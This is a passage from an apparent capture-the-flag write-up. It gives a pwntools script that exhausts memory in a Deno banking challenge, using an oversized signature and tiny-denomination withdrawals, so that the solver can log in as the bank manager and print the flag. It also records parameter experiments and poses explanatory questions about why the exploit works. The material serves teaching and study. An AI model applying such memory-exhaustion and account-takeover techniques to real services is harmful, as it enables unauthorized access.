<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">quit):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">ouuan</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># large signature</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">5):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">3</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">bills):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">a</span><span style="color: #111111">&#39;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">10000</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># withdraw 1e4 bills</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">5):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">2</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">withdraw:</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">1</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">denomination:</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">1e-4</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># logout</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">5):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">4</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># login as bank manager</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">quit):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">bank_manager</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">result </span><span style="color: #994CC3">=</span><span style="color: #403F53"> p.</span><span style="color: #0C969B">recvline</span><span style="color: #403F53">().</span><span style="color: #0C969B">decode</span><span style="color: #403F53">()</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">result</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># capture the flag</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">sendlineafter</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">6):</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">6</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">p.</span><span style="color: #0C969B">interactive</span><span style="color: #403F53">()</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> pwn </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span></span>
<span></span>
<span><span style="color: #D6DEEB">context.log_level </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">debug</span><span style="color: #D9F5DD">&#39;</span></span>
<span></span>
<span><span style="color: #D6DEEB">docker </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">docker run --rm -i -m 100m -v ./index.js:/index.js:ro denoland/deno</span><span style="color: #D9F5DD">&#39;</span></span>
<span><span style="color: #D6DEEB">deno </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">deno run --v8-flags=--trace-gc --allow-read /index.js</span><span style="color: #D9F5DD">&#39;</span></span>
<span><span style="color: #D6DEEB">p </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">process</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{docker}</span><span style="color: #ECC48D"> </span><span style="color: #82AAFF">{deno}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">shell</span><span style="color: #C792EA">=</span><span style="color: #FF5874">True</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># login</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">quit):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">ouuan</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># large signature</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">5):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">3</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">bills):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">a</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">10000</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># withdraw 1e4 bills</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">5):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">2</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">withdraw:</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">1</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">denomination:</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">1e-4</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># logout</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">5):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">4</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># login as bank manager</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">quit):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">bank_manager</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">result </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> p.</span><span style="color: #B2CCD6">recvline</span><span style="color: #D6DEEB">().</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">result</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #637777"># capture the flag</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">sendlineafter</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">6):</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">6</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">p.</span><span style="color: #B2CCD6">interactive</span><span style="color: #D6DEEB">()</span></span></code></pre></div></section>
<p>Oops, it does not work. We can even see GC logs from the <code>--trace-gc</code> flag, but the bank manager still exists.</p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-17"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-17--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">1209 ms: Scavenge 6.8 (8.8) -&gt; 6.9 (12.1) MB, pooled: 0 MB, 2.29 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1372 ms: Mark-Compact 8.4 (12.1) -&gt; 8.2 (13.1) MB, pooled: 0 MB, 2.94 / 0.00 ms  (+ 0.5 ms in 0 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 5 ms) (average mu = 0.997, current mu = 0.997) finalize incremental marking via stack guard; GC in old space requested</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">1209 ms: Scavenge 6.8 (8.8) -&gt; 6.9 (12.1) MB, pooled: 0 MB, 2.29 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1372 ms: Mark-Compact 8.4 (12.1) -&gt; 8.2 (13.1) MB, pooled: 0 MB, 2.94 / 0.00 ms  (+ 0.5 ms in 0 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 5 ms) (average mu = 0.997, current mu = 0.997) finalize incremental marking via stack guard; GC in old space requested</span></span></samp></pre></div></section>
<p>Are there anything else we can make use of? Wait, why does it allow us to use a random username?</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="TypeScript 代码块" data-v-c675dba6>TypeScript</h3><ile-root id="ile-18"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-18--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (username</span><span style="color: #994CC3">.</span><span style="color: #4876D6">toLowerCase</span><span style="color: #403F53">() </span><span style="color: #994CC3">===</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">random</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) {</span></span>
<span><span style="color: #403F53">          username </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #403F53">`</span><span style="color: #4876D6">random-</span><span style="color: #D3423E">${</span><span style="color: #403F53">crypto</span><span style="color: #994CC3">.</span><span style="color: #4876D6">randomUUID</span><span style="color: #403F53">()</span><span style="color: #D3423E">}</span><span style="color: #403F53">`</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        }</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (username</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">toLowerCase</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">===</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">random</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) {</span></span>
<span><span style="color: #D6DEEB">          username </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D6DEEB">`</span><span style="color: #ECC48D">random-</span><span style="color: #D3423E">${</span><span style="color: #D6DEEB">crypto</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">randomUUID</span><span style="color: #D6DEEB">()</span><span style="color: #D3423E">}</span><span style="color: #D6DEEB">`</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        }</span></span></code></pre></div></section>
<p>Let<span class="mojikumi-narrow-left">’</span>s see what will happen if we use a random username instead…</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-19"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-19--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-p.sendlineafter(b&#39;quit):&#39;, b&#39;ouuan&#39;)</span></span>
<span><span style="color: #4876D6FF">+p.sendlineafter(b&#39;quit):&#39;, b&#39;random&#39;)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-p.sendlineafter(b&#39;quit):&#39;, b&#39;ouuan&#39;)</span></span>
<span><span style="color: #C5E478FF">+p.sendlineafter(b&#39;quit):&#39;, b&#39;random&#39;)</span></span></code></pre></div></section>
<p>Did it just print the flag?</p>
<a id="q1-random-username" name="q1-random-username" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Q1: Random Username</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Why does the solution work with a random username, but not other usernames?</p></div></div></aside>
<p>If we read the code more carefully, we might not have an answer to the question above, but we may notice a strange part of the code:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="TypeScript 代码块" data-v-c675dba6>TypeScript</h3><ile-root id="ile-20"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-20--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">  </span><span style="color: #4876D6">setTimeout</span><span style="color: #403F53">(</span><span style="color: #994CC3">async</span><span style="color: #403F53"> </span><span style="color: #111111">()</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">await</span><span style="color: #403F53"> </span><span style="color: #4876D6">user</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">  }, </span><span style="color: #AA0982">1000</span><span style="color: #403F53">);</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">  </span><span style="color: #82AAFF">setTimeout</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">async</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">await</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">user</span><span style="color: #D6DEEB">();</span></span>
<span><span style="color: #D6DEEB">  }, </span><span style="color: #F78C6C">1000</span><span style="color: #D6DEEB">);</span></span></code></pre></div></section>
<p>This makes no sense. Why do we need to waste one second here?</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-21"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-21--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-  setTimeout(async () =&gt; {</span></span>
<span><span style="color: #EF535090">-    await user();</span></span>
<span><span style="color: #EF535090">-  }, 1000);</span></span>
<span><span style="color: #4876D6FF">+  await user();</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-  setTimeout(async () =&gt; {</span></span>
<span><span style="color: #EF535090">-    await user();</span></span>
<span><span style="color: #EF535090">-  }, 1000);</span></span>
<span><span style="color: #C5E478FF">+  await user();</span></span></code></pre></div></section>
<p>Well, the flag disappears again...</p>
<a id="q2-settimeout" name="q2-settimeout" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Q2: setTimeout</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Why does the solution depend on <code>setTimeout</code>? And why is the <code>main</code> function split into <code>init</code> and <code>user</code>?</p></div></div></aside>
<p>When we review the solution further, we may catch another point: We can occupy enough memory by either many bills or large bills, and it seems that we do not need both of them.</p>
<p>If we do not exploit the bill denomination, we can create only 101 bills<sup><a href="#user-content-fn-101-balance" id="user-content-fnref-101-balance" data-footnote-ref aria-describedby="footnote-label">3</a></sup>, and we will need a very long signature. It<span class="mojikumi-narrow-left">’</span>s reasonable that this does not work, as it will exceed the buffer length limit somewhere or take too long to send.</p>
<p>But what if we create more bills, with only small ones?</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h3><ile-root id="ile-22"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-22--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #EF535090">-# large signature</span></span>
<span><span style="color: #EF535090">-p.sendlineafter(b&#39;5):&#39;, b&#39;3&#39;)</span></span>
<span><span style="color: #EF535090">-p.sendlineafter(b&#39;bills):&#39;, b&#39;a&#39; * 10000)</span></span>
<span><span style="color: #EF535090">-</span></span>
<span><span style="color: #EF535090">-# withdraw 1e4 bills</span></span>
<span><span style="color: #4876D6FF">+# withdraw many small bills</span></span>
<span><span style="color: #403F53"> p.sendlineafter(b&#39;5):&#39;, b&#39;2&#39;)</span></span>
<span><span style="color: #403F53"> p.sendlineafter(b&#39;withdraw:&#39;, b&#39;1&#39;)</span></span>
<span><span style="color: #EF535090">-p.sendlineafter(b&#39;denomination:&#39;, b&#39;1e-4&#39;)</span></span>
<span><span style="color: #4876D6FF">+p.sendlineafter(b&#39;denomination:&#39;, b&#39;5e-6&#39;)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #EF535090">-# large signature</span></span>
<span><span style="color: #EF535090">-p.sendlineafter(b&#39;5):&#39;, b&#39;3&#39;)</span></span>
<span><span style="color: #EF535090">-p.sendlineafter(b&#39;bills):&#39;, b&#39;a&#39; * 10000)</span></span>
<span><span style="color: #EF535090">-</span></span>
<span><span style="color: #EF535090">-# withdraw 1e4 bills</span></span>
<span><span style="color: #C5E478FF">+# withdraw many small bills</span></span>
<span><span style="color: #D6DEEB"> p.sendlineafter(b&#39;5):&#39;, b&#39;2&#39;)</span></span>
<span><span style="color: #D6DEEB"> p.sendlineafter(b&#39;withdraw:&#39;, b&#39;1&#39;)</span></span>
<span><span style="color: #EF535090">-p.sendlineafter(b&#39;denomination:&#39;, b&#39;1e-4&#39;)</span></span>
<span><span style="color: #C5E478FF">+p.sendlineafter(b&#39;denomination:&#39;, b&#39;5e-6&#39;)</span></span></code></pre></div></section>
<p>It seems that we have not occupied enough memory and the bank manager still exists.</p>
<p>Let<span class="mojikumi-narrow-left">’</span>s tweak the denomination precisely:</p>
<ul>
<li><code>4.9e-6</code> → <span class="text-error">Out of memory</span></li>
<li><code>4.95e-6</code> → <span class="text-error">User already exists</span></li>
<li><code>4.925e-6</code> → <span class="text-error">User already exists</span></li>
<li><code>4.9125e-6</code> → <span class="text-error">Out of memory</span></li>
<li>……</li>
</ul>
<p>Do we really need to be that precise? Let<span class="mojikumi-narrow-left">’</span>s try with a large signature again:</p>
<ul>
<li><code>'a' * 10000</code> &#x26; <code>1e-4</code> → <span class="text-success">flag</span></li>
<li><code>'a' * 7000</code> &#x26; <code>1e-4</code> → <span class="text-success">flag</span></li>
<li><code>'a' * 5000</code> &#x26; <code>1e-4</code> → <span class="text-error">User already exists</span></li>
<li><code>'a' * 15000</code> &#x26; <code>1e-4</code> → <span class="text-success">flag</span></li>
<li><code>'a' * 20000</code> &#x26; <code>1e-4</code> → <span class="text-error">Out of memory</span></li>
<li><code>'a' * 10000</code> &#x26; <code>1.5e-4</code> → <span class="text-success">flag</span></li>
<li><code>'a' * 10000</code> &#x26; <code>2e-4</code> → <span class="text-error">User already exists</span></li>
<li>……</li>
</ul>
<p>This time we have a large fault tolerance range. So the fact is that we have to use a large signature. Small bills don<span class="mojikumi-narrow-left">’</span>t work, and the signature part in the challenge is not redundant.</p>
<a id="q3-large-signature" name="q3-large-signature" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-purple-2 dark:bg-purple-9 b-purple-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h3 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-help-circle-outline text-purple" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Question: </span><span data-v-a2ab257f>Q3: Large Signature</span></h3><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>Why do we need to set a large signature? What<span class="mojikumi-narrow-left">’</span>s the difference between small bills and large bills, if the total amount of occupied memory is close?</p></div></div></aside>
<p>If you are even more suspicious, you may find it weird to use a <code>Uint8Array</code> for storing the signature.</p>
<p>If it<span class="mojikumi-narrow-left">’</span>s directly copied as a <code>string</code>, only a reference of the <code>string</code> will be stored in each <code>Bill</code>, so it will not occupy enough memory. We can verify this by setting the signature to 10000 characters and withdraw one token with a denomination of <code>5e-6</code>, and it will neither give the flag nor run out of memory.</p>
